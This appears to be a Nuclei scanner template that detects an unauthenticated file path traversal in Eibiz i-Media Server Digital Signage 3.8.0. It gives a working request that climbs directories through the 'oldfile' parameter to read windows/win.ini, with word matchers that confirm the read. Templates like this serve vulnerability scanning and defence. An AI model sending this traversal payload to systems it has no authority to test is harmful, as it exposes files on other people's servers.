id: eibiz-lfi info: name: Eibiz i-Media Server Digital Signage 3.8.0 File Path Traversal author: 0x_akoko severity: high description: An unauthenticated remote attacker can exploit this to view the contents of files located outside of the server's root directory. The issue can be triggered through the oldfile GET parameter. reference: https://packetstormsecurity.com/files/158943/Eibiz-i-Media-Server-Digital-Signage-3.8.0-File-Path-Traversal.html tags: windows,lfi,eibiz requests: - method: GET path: - "{{BaseURL}}/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null" matchers: - type: word part: body words: - "bit app support" - "fonts" - "extensions" condition: and